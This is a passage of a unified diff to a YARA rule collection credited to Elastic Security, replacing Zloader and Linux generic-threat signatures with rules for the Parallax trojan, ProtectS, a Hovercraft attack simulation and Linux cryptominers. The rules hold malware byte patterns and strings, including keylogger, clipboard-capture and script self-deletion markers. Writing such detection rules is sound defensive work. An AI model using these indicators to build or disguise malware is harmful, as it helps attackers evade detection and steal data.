+		$config_func = { C7 45 F8 68 74 74 70 8B ?? ?? 8B 02 89 ?? ?? 6A 08 8D ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 08 8B ?? ?? 52 8D ?? ?? 50 8B ?? ?? 8B 51 0C FF D2 }
+		$winnet_function = { B8 77 00 00 00 66 89 ?? ?? B9 69 00 00 00 66 89 ?? ?? BA 6E 00 00 00 66 89 ?? ?? B8 69 00 00 00 66 89 ?? ?? B9 6E 00 00 00 66 89 ?? ?? BA 65 00 00 00 66 89 ?? ?? B8 74 00 00 00 66 89 ?? ?? 33 C9 66 89 ?? ?? 8D ?? ?? 52 8B ?? ?? 8B 48 1C FF D1 }
 
 	condition:
-		all of them
+		$config_func or $winnet_function or $COM_png or $png_parse
 }
-rule ELASTIC_Windows_Trojan_Zloader_363C65Ed : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Parallax_B4Ea4F1A : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Zloader (Windows.Trojan.Zloader)"
+		description = "Detects Windows Trojan Parallax (Windows.Trojan.Parallax)"
 		author = "Elastic Security"
-		id = "363c65ed-e394-4a40-9c2a-a6f6fd284ed3"
-		date = "2022-03-03"
-		modified = "2022-04-12"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Zloader.yar#L41-L59"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "161e657587361b29cdb883a6836566a946d9d3e5175e166a9fe54981d0c667fa"
-		logic_hash = "d3c530f9929db709067a9e1cc59b9cda9dcd8e19352c79ddaf7af6c91b242afd"
+		id = "b4ea4f1a-4b78-4bb8-878e-40fe753018e9"
+		date = "2022-09-08"
+		modified = "2022-09-29"
+		reference = "https://www.elastic.co/security-labs/exploring-the-ref2731-intrusion-set"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Parallax.yar#L24-L55"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "731fe7bd339ec6b0372b4809004a21f53537bd82f084960b8d018f994dcdc06a"
 		score = 75
-		quality = 75
+		quality = 42
 		tags = "FILE, MEMORY"
-		fingerprint = "33ae4cee122269f4342a3fd829236cbd303d8821b548ab93bbebc9dee3eb67f2"
+		fingerprint = "5c695f6b1bb0e72a070e076402cd94a77b178809617223b6caac6f6ec46f2ea1"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -87750,1957 +91618,1945 @@ rule ELASTIC_Windows_Trojan_Zloader_363C65Ed : FILE MEMORY
 		os = "windows"
 
 	strings:
-		$a = { 04 8D 4D E4 8D 55 E8 6A 00 6A 00 51 6A 00 6A 00 50 52 57 53 }
+		$parallax_payload_strings_0 = "[Ctrl +" ascii wide fullword
+		$parallax_payload_strings_1 = "[Ctrl]" ascii wide fullword
+		$parallax_payload_strings_2 = "Clipboard Start" ascii wide fullword
+		$parallax_payload_strings_3 = "[Clipboard End]" ascii wide fullword
+		$parallax_payload_strings_4 = "UN.vbs" ascii wide fullword
+		$parallax_payload_strings_5 = "lt +" ascii wide fullword
+		$parallax_payload_strings_6 = "lt]" ascii wide fullword
+		$parallax_payload_strings_7 = ".DeleteFile(Wscript.ScriptFullName)" ascii wide fullword
+		$parallax_payload_strings_8 = ".DeleteFolder" ascii wide fullword
+		$parallax_payload_strings_9 = ".DeleteFile " ascii wide fullword
+		$parallax_payload_strings_10 = "Scripting.FileSystemObject" ascii wide fullword
+		$parallax_payload_strings_11 = "On Error Resume Next" ascii wide fullword
+		$parallax_payload_strings_12 = "= CreateObject" ascii wide fullword
+		$parallax_payload_strings_13 = ".FileExists" ascii wide fullword
 
 	condition:
-		all of them
+		7 of ($parallax_payload_strings_*)
 }
-rule ELASTIC_Windows_Trojan_Zloader_79535191 : FILE MEMORY
+rule ELASTIC_Windows_Attacksimulation_Hovercraft_F5C7178F : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Zloader (Windows.Trojan.Zloader)"
+		description = "Detects Windows Attacksimulation Hovercraft (Windows.AttackSimulation.Hovercraft)"
 		author = "Elastic Security"
-		id = "79535191-59df-4c78-9f62-b8614ef992d3"
-		date = "2022-03-03"
-		modified = "2022-04-12"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Zloader.yar#L61-L79"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "161e657587361b29cdb883a6836566a946d9d3e5175e166a9fe54981d0c667fa"
-		logic_hash = "c398a8ca46c6fe3e59481a092867be77a94809b1568cea918aa6450374063857"
+		id = "f5c7178f-9a3f-463d-96a7-0a82cbed9ba2"
+		date = "2022-05-23"
+		modified = "2022-07-18"
+		reference = "046645b2a646c83b4434a893a0876ea9bd51ae05e70d4e72f2ccc648b0f18cb6"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_AttackSimulation_Hovercraft.yar#L1-L20"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "e707e89904a5fa4d30f94bfc625b736a411df6bb055c0e40df18ae65025a3740"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "ee3c4cf0d694119acfdc945a964e4fc0f51355eabca900ffbcc21aec0b3e1e3c"
-		severity = 100
+		fingerprint = "8965ab173fd09582c9e77e7c54c9722b91b71ecbe42c4f8a8cc87d9a780ffe8c"
+		severity = 1
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a = { 28 4B 74 26 8B 46 FC 85 C0 74 F3 8B 4E F4 8B 16 39 C8 0F 47 C1 8B }
+		$a1 = "MyHovercraftIsFullOfEels" wide fullword
+		$a2 = "WinHttp.dll" fullword
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Generic_Threat_A658B75F : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Protects_9F6Eaa90 : FILE
 {
 	meta:
-		description = "Detects Linux Generic Threat (Linux.Generic.Threat)"
+		description = "Detects Windows Trojan Protects (Windows.Trojan.ProtectS)"
 		author = "Elastic Security"
-		id = "a658b75f-3520-4ec6-b3d4-674bc22380b3"
-		date = "2024-01-17"
-		modified = "2024-02-13"
+		id = "9f6eaa90-b3d4-4f0f-a81e-8010be0a6d36"
+		date = "2022-04-04"
+		modified = "2022-06-09"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Generic_Threat.yar#L1-L20"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "df430ab9f5084a3e62a6c97c6c6279f2461618f038832305057c51b441c648d9"
-		logic_hash = "1ef7267438b8d15ed770f0784a7d428cbc2680144b0ef179337875d5b4038d08"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_ProtectS.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "c0330e072b7003f55a3153ac3e0859369b9c3e22779b113284e95ce1e2ce2099"
+		logic_hash = "ddc8c97598b2d961dc51bdf2c7ab96abcec63824acd39b767bc175371844c1e5"
 		score = 75
-		quality = 71
-		tags = "FILE, MEMORY"
-		fingerprint = "112be9d42b300ce4c2e0d50c9e853d3bdab5d030a12d87aa9bae9affc67cd6cd"
+		quality = 75
+		tags = "FILE"
+		fingerprint = "46bf59901876794dcc338923076939d765d3ce7f14d784b9687fbc05461ed6b4"
 		severity = 50
 		arch_context = "x86"
-		scan_context = "file, memory"
+		scan_context = "file"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a1 = { 6D 61 69 6E 2E 45 6E 63 72 79 70 74 46 69 6C 65 52 65 61 64 57 72 69 74 65 }
-		$a2 = { 6D 61 69 6E 2E 53 63 61 6E 57 61 6C 6B 65 72 }
+		$str1 = "\\ProtectS.pdb"
 
 	condition:
-		all of them
+		int16 ( uint32(0x3C)+0x5c)==0x0001 and $str1
 }
-rule ELASTIC_Linux_Generic_Threat_Ea5Ade9A : FILE MEMORY
+rule ELASTIC_Linux_Cryptominer_Generic_D7Bd0E5D : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Generic Threat (Linux.Generic.Threat)"
+		description = "Detects Linux Cryptominer Generic (Linux.Cryptominer.Generic)"
 		author = "Elastic Security"
-		id = "ea5ade9a-101e-49df-b0e8-45a04320950b"
-		date = "2024-01-17"
-		modified = "2024-02-13"
+		id = "d7bd0e5d-3528-4648-aaa5-6cf44d22c0d5"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Generic_Threat.yar#L22-L40"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "d75189d883b739d9fe558637b1fab7f41e414937a8bae7a9d58347c223a1fcaa"
-		logic_hash = "12a9b5e54d6d528ecb559b6e2ea3aa72effa7f0efbf2c33581a4efedc292e4c1"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Cryptominer_Generic.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "afcfd67af99e437f553029ccf97b91ed0ca891f9bcc01c148c2b38c75482d671"
+		logic_hash = "1f87721fdfe58d029c0696bc99385a0052c771bc48b2c9ce01b72c3e42359654"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "fedf3b94c22a1dab3916b7bc6a1b88768c0debd6d628b78d8a6610b636f3c652"
-		severity = 50
+		fingerprint = "fbc06c7603aa436df807ad3f77d5ba783c4d33f61b06a69e8641741068f3a543"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "linux"
 
 	strings:
-		$a1 = { 55 89 E5 53 8B 5D 08 B8 0D 00 00 00 CD 80 8B 5D FC 89 EC 5D C3 55 89 E5 53 8B 5D 08 B8 2D 00 00 00 CD 80 8B 5D FC 89 EC 5D C3 55 89 E5 53 8B 5D 08 8B 4D 0C B8 6C 00 00 00 CD 80 8B 5D FC 89 EC }
+		$a = { CF 99 67 D8 37 AA 24 80 F2 F3 47 6A A5 5E 88 50 F1 28 61 18 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Generic_Threat_80Aea077 : FILE MEMORY
+rule ELASTIC_Linux_Cryptominer_Generic_69E1A763 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Generic Threat (Linux.Generic.Threat)"
+		description = "Detects Linux Cryptominer Generic (Linux.Cryptominer.Generic)"
 		author = "Elastic Security"
-		id = "80aea077-c94f-4c95-83a5-967cc16df2a8"
-		date = "2024-01-17"
-		modified = "2024-02-13"
+		id = "69e1a763-1e0d-4448-9bc4-769f3a36ac10"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Generic_Threat.yar#L42-L60"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "002827c41bc93772cd2832bc08dfc413302b1a29008adbb6822343861b9818f0"
-		logic_hash = "cab860ad5f0c49555adb845504acb4dbeabb94dbc287202be35020e055e6f27b"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Cryptominer_Generic.yar#L21-L39"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "b04d9fabd1e8fc42d1fa8e90a3299a3c36e6f05d858dfbed9f5e90a84b68bcbb"
+		logic_hash = "d0dac8e2c9571d9e622c8c1250a54a7671ad1b9b00dba584c3741b714c22d8e0"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "702953af345afb999691906807066d58b9ec055d814fc6fe351e59ac5193e31f"
-		severity = 50
+		fingerprint = "9007ab73902ef9bfa69e4ddc29513316cb6aa7185986cdb10fd833157cd7d434"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "linux"
 
 	strings:
-		$a1 = { 38 49 89 FE 0F B6 0E 48 C1 E1 18 0F B6 6E 01 48 C1 E5 10 48 09 E9 0F B6 6E 03 48 09 E9 0F B6 6E 02 48 C1 E5 08 48 09 CD 0F B6 56 04 48 C1 E2 18 44 0F B6 7E 05 49 C1 E7 10 4C 09 FA 44 }
+		$a = { 43 08 49 89 46 08 48 8B 43 10 49 89 46 10 48 85 C0 74 8A F0 83 40 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Generic_Threat_2E214A04 : FILE MEMORY
+rule ELASTIC_Linux_Cryptominer_Generic_397A86Bd : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Generic Threat (Linux.Generic.Threat)"
+		description = "Detects Linux Cryptominer Generic (Linux.Cryptominer.Generic)"
 		author = "Elastic Security"
-		id = "2e214a04-43a4-4c26-8737-e089fbf6eecd"
-		date = "2024-01-17"
-		modified = "2024-02-13"
+		id = "397a86bd-6d66-4db0-ad41-d0ae3dbbeb21"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Generic_Threat.yar#L62-L81"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "cad65816cc1a83c131fad63a545a4bd0bdaa45ea8cf039cbc6191e3c9f19dead"
-		logic_hash = "0d29aa6214b0a05f9af10cdc080ffa33452156e13c057f31997630cebcda294a"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Cryptominer_Generic.yar#L41-L59"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "79c47a80ecc6e0f5f87749319f6d5d6a3f0fbff7c34082d747155b9b20510cde"
+		logic_hash = "6b46a82d1aea0357f5a48c9ae1d93e3d4d31bd98b9c9b4e0b0d0629e7f159499"
 		score = 75
-		quality = 71
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "0937f7c5bcfd6f2b327981367684cff5a53d35c87eaa360e90afc9fce1aec070"
-		severity = 50
+		fingerprint = "0bad343f28180822bcb45b0a84d69b40e26e5eedb650db1599514020b6736dd0"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "linux"
 
 	strings:
-		$a1 = { 49 6E 73 65 72 74 20 76 69 63 74 69 6D 20 49 50 3A 20 }
-		$a2 = { 49 6E 73 65 72 74 20 75 6E 75 73 65 64 20 49 50 3A 20 }
+		$a = { 74 4F 48 8B 75 00 48 8B 4D 08 4C 89 F7 48 8B 55 10 48 8B 45 18 48 89 74 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Generic_Threat_0B770605 : FILE MEMORY
+rule ELASTIC_Linux_Cryptominer_Generic_37C3F8D3 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Generic Threat (Linux.Generic.Threat)"
+		description = "Detects Linux Cryptominer Generic (Linux.Cryptominer.Generic)"
 		author = "Elastic Security"
-		id = "0b770605-db33-4028-b186-b1284da3e3fe"
-		date = "2024-01-17"
-		modified = "2024-02-13"
+		id = "37c3f8d3-9d79-434c-b0e8-252122ebc62a"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Generic_Threat.yar#L83-L102"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "99418cbe1496d5cd4177a341e6121411bc1fab600d192a3c9772e8e6cd3c4e88"
-		logic_hash = "d4aae755870765a119ee7ae648d4388e0786e8ab6f7f196d81c6356be7d0ddfb"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Cryptominer_Generic.yar#L61-L79"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "efbddf1020d0845b7a524da357893730981b9ee65a90e54976d7289d46d0ffd4"
+		logic_hash = "e7bdd185ea4227b0960c3e677e7d8ac7488d53eaa77efd631be828b2ca079bb8"
 		score = 75
-		quality = 71
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "d771f9329fec5e70b515512b58d77bb82b3c472cd0608901a6e6f606762d2d7e"
-		severity = 50
+		fingerprint = "6ba0bae987db369ec6cdadf685b8c7184e6c916111743f1f2b43ead8d028338c"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "linux"
 
 	strings:
-		$a1 = { 68 65 79 20 73 63 61 6E 20 72 65 74 61 72 64 }
-		$a2 = { 5B 62 6F 74 70 6B 74 5D 20 43 6F 6D 6D 69 74 74 69 6E 67 20 53 75 69 63 69 64 65 }
+		$a = { F0 4C 01 F0 49 8B 75 08 48 01 C3 49 39 F4 74 29 48 89 DA 4C }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Generic_Threat_92064B27 : FILE MEMORY
+rule ELASTIC_Linux_Cryptominer_Generic_28A80546 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Generic Threat (Linux.Generic.Threat)"
+		description = "Detects Linux Cryptominer Generic (Linux.Cryptominer.Generic)"
 		author = "Elastic Security"
-		id = "92064b27-f1c7-4b86-afc9-3dcfab69fe0d"
-		date = "2024-01-17"
-		modified = "2024-02-13"
+		id = "28a80546-ae74-4616-8896-50f54da66650"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Generic_Threat.yar#L104-L122"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "8e5cfcda52656a98105a48783b9362bad22f61bcb6a12a27207a08de826432d9"
-		logic_hash = "adb9ed7280065f77440bd1e106bc800ebe6251119151cd54b76dc2917b013f65"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Cryptominer_Generic.yar#L81-L99"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "96cc225cf20240592e1dcc8a13a69f2f97637ed8bc89e30a78b8b2423991d850"
+		logic_hash = "120e9f7cad0fc8aebd843374c0edca8cbb701882ab55a7f24aced1d80d8cd697"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "7a465615646184f5ab30d9b9b286f6e8a95cfbfa0ee780915983ec1200fd2553"
-		severity = 50
+		fingerprint = "7f49f04ba36e7ff38d313930c469d64337203a60792f935a3548cee176ae9523"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "linux"
 
 	strings:
-		$a1 = { 55 89 E5 53 8B 4D 10 8B 5D 08 85 C9 74 0D 8A 55 0C 31 C0 88 14 18 40 39 C1 75 F8 5B 5D C3 90 90 55 89 E5 8B 4D 08 8B 55 0C 85 C9 74 0F 85 D2 74 0B 31 C0 C6 04 08 00 40 39 C2 75 F7 5D C3 90 90 }
+		$a = { 72 59 D4 B5 63 E2 4D B6 08 EF E8 0A 3A B1 AD 1B 61 6E 7C 65 D1 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Generic_Threat_De6Be095 : FILE MEMORY
+rule ELASTIC_Linux_Cryptominer_Generic_9D531F70 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Generic Threat (Linux.Generic.Threat)"
+		description = "Detects Linux Cryptominer Generic (Linux.Cryptominer.Generic)"
 		author = "Elastic Security"
-		id = "de6be095-93b6-45da-b9e2-682cea7a6488"
-		date = "2024-01-17"
-		modified = "2024-02-13"
+		id = "9d531f70-c42f-4e1a-956a-f9ac43751e73"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Generic_Threat.yar#L124-L143"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "2431239d6e60ca24a5440e6c92da62b723a7e35c805f04db6b80f96c8cf9fee6"
-		logic_hash = "cbd7578830169703b047adb1785b05d226f2507a65c203ee344d8e2b3a24f6c9"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Cryptominer_Generic.yar#L101-L119"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "36f2ce4e34faf42741f0a15f62e8b3477d69193bf289818e22d0e3ee3e906eb0"
+		logic_hash = "87d3cb7049975d52f2a6d6aa10e6b6d0d008d166ca5f9889ad1413a573d8b58e"
 		score = 75
-		quality = 71
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "8f2d682401b4941615ecdc8483ff461c86a12c585483e00d025a1b898321a585"
-		severity = 50
+		fingerprint = "2c6019f7bc2fc47d7002e0ba6e35513950260b558f1fdc732d3556dabbaaa93d"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "linux"
 
 	strings:
-		$a1 = { 2D 2D 66 61 72 6D 2D 66 61 69 6C 6F 76 65 72 }
-		$a2 = { 2D 2D 73 74 72 61 74 75 6D 2D 66 61 69 6C 6F 76 65 72 }
+		$a = { 49 10 58 00 10 D4 34 80 08 30 01 20 02 00 B1 00 83 49 23 16 54 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Generic_Threat_898D9308 : FILE MEMORY
+rule ELASTIC_Linux_Cryptominer_Generic_23A5C29A : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Generic Threat (Linux.Generic.Threat)"
+		description = "Detects Linux Cryptominer Generic (Linux.Cryptominer.Generic)"
 		author = "Elastic Security"
-		id = "898d9308-86d1-4b73-ae6c-c24716466f60"
-		date = "2024-01-18"
-		modified = "2024-02-13"
+		id = "23a5c29a-6a8f-46f4-87ba-2a60139450ce"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Generic_Threat.yar#L145-L164"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "ce89863a16787a6f39c25fd15ee48c4d196223668a264217f5d1cea31f8dc8ef"
-		logic_hash = "8b5deedf18d660d0b76dc987843ff5cc01432536a04ab4925e9b08269fd847e4"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Cryptominer_Generic.yar#L121-L139"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "1320d7a2b5e3b65fe974a95374b4ea7ed1a5aa27d76cd3d9517d3a271121103f"
+		logic_hash = "c2608e7ee73102e0737a859a18c5482877c6dc0e597d8a14d8d41f5e01a0b1f4"
 		score = 75
-		quality = 71
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "fe860a6283aff8581b73440f9afbd807bb03b86dd9387b0b4ee5842a39ed7b03"
-		severity = 50
+		fingerprint = "1a7a86ff6e1666c2da6e6f65074bb1db2fe1c97d1ad42d1f670dd5c88023eecf"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "linux"
 
 	strings:
-		$a1 = { 65 63 66 61 66 65 61 62 36 65 65 37 64 36 34 32 }
-		$a2 = { 3D 3D 3D 3D 65 6E 64 20 64 75 6D 70 20 70 6C 75 67 69 6E 20 69 6E 66 6F 3D 3D 3D 3D }
+		$a = { C1 48 29 D0 48 01 C0 4D 8B 39 48 29 C1 49 29 F8 48 8D 04 C9 4D 8D }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Generic_Threat_23D54A0E : FILE MEMORY
+rule ELASTIC_Linux_Cryptominer_Generic_Ea5703Ce : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Generic Threat (Linux.Generic.Threat)"
+		description = "Detects Linux Cryptominer Generic (Linux.Cryptominer.Generic)"
 		author = "Elastic Security"
-		id = "23d54a0e-f2e2-443e-832c-d57146350eb6"
-		date = "2024-01-18"
-		modified = "2024-02-13"
+		id = "ea5703ce-4ad4-46cc-b253-8d022ca385a3"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Generic_Threat.yar#L166-L185"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "a2b54f789a1c4cbed13e0e2a5ab61e0ce5bb42d44fe52ad4b7dd3da610045257"
-		logic_hash = "7e52eaf9c49bd6cbdb89b0c525b448864e1ea55d00bc052898613174fe5956cc"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Cryptominer_Generic.yar#L141-L159"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "bec6eea63025e2afa5940d27ead403bfda3a7b95caac979079cabef88af5ee0b"
+		logic_hash = "bbf0191ecff24fd24376fd3dec2e96644188ca4d26b4ca4f087e212bae2eab85"
 		score = 75
-		quality = 71
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "4ff521192e2061af868b9403479680fd77d1dc71f181877a36329f63e91b7c66"
-		severity = 50
+		fingerprint = "a58a41ab4602380c0989659127d099add042413f11e3815a5e1007a44effaa68"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "linux"
 
 	strings:
-		$a1 = { 29 2B 2F 30 31 3C 3D 43 4C 4D 50 53 5A 5B }
-		$a2 = { 61 64 78 61 65 73 61 76 78 62 69 6E 63 67 6F 64 69 72 64 6E 73 65 6E 64 66 69 6E 66 6D 61 66 74 70 67 63 20 67 70 20 69 6E 20 69 6E 74 6D 61 70 6E 69 6C 6F 62 6A 70 63 3D 70 74 72 73 65 74 73 68 61 73 73 68 74 63 70 75 64 70 }
+		$a = { 0F 94 C0 EB 05 B8 01 00 00 00 44 21 E8 48 8B 4C 24 08 64 48 33 0C 25 28 00 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Generic_Threat_D7802B0A : FILE MEMORY
+rule ELASTIC_Linux_Cryptominer_Generic_6A4F4255 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Generic Threat (Linux.Generic.Threat)"
+		description = "Detects Linux Cryptominer Generic (Linux.Cryptominer.Generic)"
 		author = "Elastic Security"
-		id = "d7802b0a-2286-48c8-a0b5-96af896b384e"
-		date = "2024-01-18"
-		modified = "2024-02-13"
+		id = "6a4f4255-d202-48b7-96ae-cb7211dcbea3"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
